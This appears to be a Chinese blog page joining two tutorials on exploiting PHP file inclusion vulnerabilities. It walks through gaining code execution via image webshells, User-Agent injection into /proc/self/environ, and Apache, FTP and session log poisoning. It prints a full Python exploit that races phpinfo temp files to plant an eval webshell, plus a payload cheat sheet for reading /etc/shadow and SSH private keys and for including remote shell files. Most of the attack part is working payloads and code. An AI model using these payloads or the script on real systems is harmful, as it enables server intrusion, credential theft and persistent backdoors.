利用本地包含漏洞执行任意代码

1 概述
 
文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。
本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。
 
2 利用LFI执行PHP代码
 
2.1本地包含漏洞实例展示:
 
演示脚本文件test.php代码如下:
<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$f = $_GET["file"];
if ($f){
require "".$f.".php";
}else{
print("No File Included");
}
?>
在正常使用过程中,可能是这样子:http://www.xxx.com/test.php?f=fuction,这样子 就包含了function这个文件,但是由于file参数没有过滤,我们可以自己提交参数内容,这个时候就导致了包含漏洞的出现。比如提交 :
http://www.xxx.com/index.php?f=shell.txt%00,shell.txt的内容为我们的webshell,由于前面的是 index.php,所以会把shell.txt当成是木马执行。
在虚拟机搭建实例环境,
直接访问,不赋值file参数:

图1.不提交任何参数时的test.php
赋值file参数为/etc/passwd

图2.包含/etc/passwd文件
成功包含。
 
2.2自己上传文件并实现包含
 
这里主要是结合服务器一些文件上传点,比如头像上传、相册照片上传等,而后结合php的%00截断特性成功利用包含漏洞(php5.4之后已修复截断特性,本例中不再结合%00,其他请自己测试)。
假设我们可以自定义上传头像,头像文件在网站根目录的photo下,具体目录可以传上去之后查看图片Url信息。
首先,我们只做包含恶意代码的图片文件:
在windows下利用copy命令,shell.php为一句话木马(这里为了方便演示,我们用phpinfo();代替),photo.jpg问正常头像文件。在命令行下执行:copy photo.jpg /b + shell.php /b eval.jpg

图3.Windows下copy命令制作图片木马
此时eval.jpg和phpoto.jpg都可以正常打开
这种方法对于验证严格的上传点有用,其实很多时候我们可以简单的改一下后缀名,在php代码前加一个GIF89a就可绕过大多数检测。
将eval.jpg上传,并包含,效果如下图:

图4.包含图片木马效果
此时成功利用本地包含漏洞执行php代码。
 
2.3包含环境变量文件
 
Linux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。内容如下图:

图5.BT5下/proc/self/environ文件内容
但是用户可通过修改浏览器的agent信息插入自己的内容到该文件,将php代码写进去之后再利用LFI进行包含就可以实现漏洞的利用。
首先,验证访问权限,看是否有权限读取该文件内容

图6.包含/proc/self/environ文件
在BT的server下是默认拒绝访问的。权限如下:

图7.Environ文件的权限设置
为了方便演示,用一个有权限访问environ文件的环境。
正常包含如图:

图8.有权限读取envrion文件时效果
我们可以看到,当前的USER_AGENT变量被写进了这个文件,而USER_AGENT是可以伪造的,这里我利用firefox的UAControl进行伪造,首先编辑UAControl对于这个文章的user agent信息:

图9.修改User-agent信息
而后随便访问该网站上一个网页,再次包含environ文件:

图10.成功执行php代码
可以发现php代码已经执行。
2.4包含web server日志文件
Apache的日志文件在LFI漏洞的利用中是非常常见的。因为不管我们提交的Get请求或者Post请求都会被apache记录到日志文件里。所以我们可以控制请求内容,将恶意代码写入日志文件,从而实现包含。
首先:查看是否有权限进行包含

图11.默认access文件拒绝访问
同样默认拒绝。

图12.日志文件默认权限
下面找一个有权限的实战环境进行测试
可以包含httpd.conf查看日志文件位置以及文件名格式配置,这里就直接找到一个log进行利用(php_error.log),该文件会记录php在执行中出现的错误,

图13.php_error文件内容
所以我们直接访问test.php?file=../<?php phpinfo();?>.php,将会被记录下来。这样便成功将php代码写进log文件。
直接访问:

图14.get请求中插入php代码
返回空白,这是由于webserver未开启报错。
包含后如图:

图15.成功包含error日志文件
成功执行php代码
在实际利用中,需要注意一下几个问题:
1)    Access.log和error.log过大,这时候有可能会导致超时。所以如果能包含其他文件那就包含其他文件。
2)    写入的代码被转义。比如我们提交test.php?file=../<?php phpinfo();?>.php时,在<?php 后面紧跟着一个空格,这个空格如果被转义成%20就会导致php代码执行失败,有时候写进access.log文件里的还可能是将两个尖括号<>也转义了的。在实际测试中,用火狐、IE8都会转义,但是IE6不会转义。对于所有以上情况,可以使用ie6进行利用,也可以使用NC进行直接提交GET请求。同时如果web server的short_tag开启的话,就不用担心空格被转义。
 
2.5包含其他日志文件
 
文件包含漏洞的实质是包含我们可以控制文件内容的文件,所以其他日志文件如果我们可控的话也是可以进行包含利用的。这里以FTP的日志文件为例进行演示。
实际利用过程中要先得到目标系统的linux发行版本号、FTP server的版本号,而后找默认日志目录。
第一步同样是测试权限,看是否有权限读取文件:

图16.FTP日志文件内容
如图,是可以包含的。
下面本地登录,但是用户名填:<?php phpinfo();?>

图17.在登陆窗口插入php代码
成功包含后效果如下图:

图18.成功包含FTP日志文件
可以发现已经成功执行了php代码
 
2.6结合phpinfo包含临时文件
 
php有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。当然,我们可以暴力猜解,但是这样子还是太过鸡肋的。国外一个安全研究者提出利用phpinfo来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生成的临时文件名字和目录。所以借助phpinfo()我们可以找出临时文件名并利用。
下面是一个python版的利用代码:
#!/usr/bin/env python
# encoding=utf-8
# Author : idwar
# http://secer.org
 
'''
 
可能需要你改的几个地方:
1、host
2、port
3、request中的phpinfo页面名字及路径
4、hello_lfi() 函数中的url,即存在lfi的页面和参数
5、如果不成功或报错,尝试增加padding长度到7000、8000试试
6、某些开了magic_quotes_gpc或者其他东西不能%00的,自行想办法截断并在(4)的位置对应修改
 Good Luck :)
 
'''
 
import re
import urllib2
import hashlib
from socket import *
from time import sleep
host = '192.168.92.132'
#host = gethostbyname(domain)
port = 80
shell_name = hashlib.md5(host).hexdigest() + '.php'
pattern = re.compile(r'''
tmpname
\s=&gt;\s(.*)\W*error]''')
 
payload = '''idwar<?php fputs(fopen('./''' + shell_name + '''\',"w"),"idwar was here<?php eval(\$_POST[a]);?>")?>\r'''
req = '''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r''' % payload
 
padding='A' * 8000
request='''POST /test/1.php?a='''+padding+''' HTTP/1.0\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r
HTTP_ACCEPT: ''' + padding + '''\r
HTTP_USER_AGENT: ''' + padding + '''\r
HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r
HTTP_PRAGMA: ''' + padding + '''\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s''' % (len(req), host, req)
def hello_lfi():
    while 1:
        s = socket(AF_INET, SOCK_STREAM)
        s.connect((host, port))
        s.send(request)
        data = ''
        while r'</body></html>' not in data:
            data = s.recv(9999)
            search_ = re.search(pattern, data)
            if search_:
                tmp_file_name = search_.group(1)
                url = r'http://192.168.92.132/test/2.php?s=%s%%00' % tmp_file_name
                print url
                search_request = urllib2.Request(url)
                search_response = urllib2.urlopen(search_request)
                html_data = search_response.read()
                if 'idwar' in html_data:
                    s.close()
                    return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name)
                    #import sys;sys.exit()
        s.close()
if __name__ == '__main__':
    print hello_lfi()
print '\n Good Luck :)'
利用效果如下图:

图19. 利用工具中的php临时文件

图20. 服务器上确实生成了该文件
可以看到,成功获取到临时文件的文件名以及将恶意代码注入到服务器的tmp的临时目录下。
 
2.7包含session文件
 
Session文件一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目录下,文件名字一般以sess_SESSIONID来保存。
首先,查看找到session文件并包含一次:文件名可以通过firefox的fire cookie插件查看当前session值。
实际应用过程中需要注意以下几点:
1)    网站可能没有生成临时session,以cookie方式保存用户信息,或者根本就完全没有。
2)    Session文件内容的控制,这个时候我们就需要先通过包含查看当前session的内容,看session值中有没有我们可控的某个变量,比如url中的变量值。或者当前用户名username。如果有的话,我们就可以通过修改可控变量值控制恶意代码写入session文件。如果没有的话,可以考虑让服务器报错,有时候服务器会把报错信息写入用户的session文件的。我们控制使服务器报错的语句即可将恶意代码写入session。
 
3 小结
从开发者的角度来说,任何用户可以控制的变量都要进行严格的检查和过滤。只要有用户可输入的地方就有可能存在漏洞。而从攻击者的角度来说,在对LFI的利用中,始终需要注意的是服务器上只要是我们可以写入数据的都可以拿来包含。
 
4 参考文献:
[1] Gynvael Coldwind 《PHP_LFI_rfc1867_temporary_files》 2011.3
[2] SirGod On insecurity-ro《Shell via LFI –proc/self/environ method》
[3] http://www.2cto.com/Article/201202/119213.html《利用phpinfo信息LFI临时文件》
[4]http://www.php.net/manual/en/features.file-upload.post-method.php 《POST method uploads》

[5] LengF  80sec Group 《PHP安全之LFI漏洞GetShell方法大阅兵》 2011


PHP文件包含漏洞总结


0x00 前言


PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。最常见的就属于本地文件包含(Local File Inclusion)漏洞了。

我们来看下面一段index.php代码:

1
2
3
4
5
if ( $_GET [ 'func' ]) {
    include $_GET [ 'func' ];
} else {
    include 'default.php' ;
}

程序的本意可能是当提交url为http://example.com/index.php?func=add.php时,调用add.php里面的样式内容和功能。直接访问http://example.com/index.php则会包含默认的default.php

那么问题来了,如果我们提交http://example.com/index.php?func=upload/pic/evil.jpg ,且evil.jpg是由黑客上传到服务器上的一个图片,在图片的末尾添加了恶意的php代码,那么恶意的代码就会被引入当前文件执行。

如果被包含的文件中无有效的php代码,则会直接把文件内容输出。

在接下来的内容中会以代码样本作为例子,来给大家介绍各种奇葩猥琐的利用姿势。

0x01 普通本地文件包含


1
<?php include ( "inc/" . $_GET [ 'file' ]); ?>
  • 包含同目录下的文件:
    ?file=.htaccess

  • 目录遍历:

?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db

(linux中这两个文件储存着所有文件的路径,需要root权限)

  • 包含错误日志: ?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)

  • 获取web目录或者其他配置文件:

?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)

  • 包含上传的附件:

?file=../attachment/media/xxx.file

  • 读取session文件:

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

(session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)

  • 如果拥有root权限还可以试试读这些东西:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/id_rsa.pub

/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]* (文件标识符)

/proc/mounts

/proc/config.gz

  • 如果有phpinfo可以包含临时文件:

参见http://hi.baidu.com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el

0x02 有限制的本地文件包含


1
<?php include ( "inc/" . $_GET [ 'file' ] . ".htm" ); ?>
  • %00截断:

?file=../../../../../../../../../etc/passwd%00

(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

  • %00截断目录遍历:

?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)

  • 路径长度截断:

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

  • 点号截断:

?file=../../../../../../../../../boot.ini/………[…]…………

(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

0x03 普通远程文件包含


1
<?php include ( $_GET [ 'file' ]); ?>
  • 远程代码执行:

?file=[http|https|ftp]://example.com/shell.txt

(需要allow_url_fopen=On并且 allow_url_include=On)

  • 利用php流input:

?file=php://input

(需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php)

  • 利用php流filter:

?file=php://filter/convert.base64-encode/resource=index.php

(同上)

  • 利用data URIs:

?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

(需要allow_url_include=On)

  • 利用XSS执行任意代码:

?file=http://127.0.0.1/path/xss.php?xss=phpcode

(需要allow_url_fopen=On,allow_url_include=On并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊- -)

0x04 有限制的远程文件包含


1
<?php include ( $_GET [ 'file' ] . ".htm" ); ?>
  • ?file=http://example.com/shell

  • ?file=http://example.com/shell.txt?

  • ?file=http://example.com/shell.txt%23

(需要allow_url_fopen=On并且allow_url_include=On)

  • ?file=\evilshare\shell.php (只需要allow_url_include=On)

0x05 延伸


其实在前面也说了,这些漏洞产生原因是PHP函数在引入文件时,传入的文件名没有经过合理的校验,从而操作了预想之外的文件。实际上我们操作文件的函数不只是include()一个,上面提到的一些截断的方法同样可以适用于以下函数:

参考文章:

http://websec.wordpress.com/2009/11/28/freebsd-directory-listing-with-php-file-functions/

http://www.digininja.org/blog/when_all_you_can_do_is_read.php

http://wiki.apache.org/httpd/DistrosDefaultLayout

http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/

http://www.coresec.org/2011/05/12/local-file-inclusion-to-remote-command-execution-using-ssh/

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/


  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值